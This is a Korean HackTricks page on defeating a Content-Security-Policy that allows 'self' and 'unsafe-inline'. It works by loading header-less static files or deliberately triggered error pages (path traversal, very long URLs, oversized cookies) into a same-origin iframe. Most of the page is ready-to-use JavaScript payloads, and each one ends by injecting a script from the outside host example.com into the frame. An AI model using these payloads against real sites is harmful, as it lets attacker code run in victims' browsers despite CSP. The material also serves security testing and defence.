CSP bypass: self + 'unsafe-inline' with Iframes

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

다음과 같은 구성:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

어떤 함수들이 문자열로 전달된 코드를 실행하는 것을 금지합니다. 예를 들어, eval, setTimeout, setInterval은 모두 unsafe-eval 설정 때문에 차단됩니다.

외부 소스로부터의 모든 콘텐츠도 차단됩니다. 이미지, CSS, 웹소켓, 특히 JS까지 모두 포함됩니다.

텍스트 및 이미지를 통한 우회

현대적인 브라우저들은 이미지와 텍스트를 HTML로 변환하여 표시를 개선합니다 (예: 배경 설정, 가운데 정렬 등). 따라서 favicon.icorobots.txt와 같은 이미지나 텍스트 파일이 iframe을 통해 열리면 HTML로 렌더링됩니다. 특히, 이러한 페이지들은 종종 CSP 헤더가 없거나 X-Frame-Options를 포함하지 않을 수 있으므로 임의의 JavaScript를 실행할 수 있게 됩니다:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

오류를 통한 우회

마찬가지로, 텍스트 파일이나 이미지와 같은 오류 응답은 일반적으로 CSP 헤더가 없을 수 있으며 X-Frame-Options를 생략할 수도 있습니다. 오류를 iframe 내에서 로드하도록 유도함으로써 다음과 같은 작업을 수행할 수 있습니다:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

언급된 시나리오 중 하나를 트리거한 후에는 다음과 같이 iframe 내에서 JavaScript 실행이 가능합니다:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated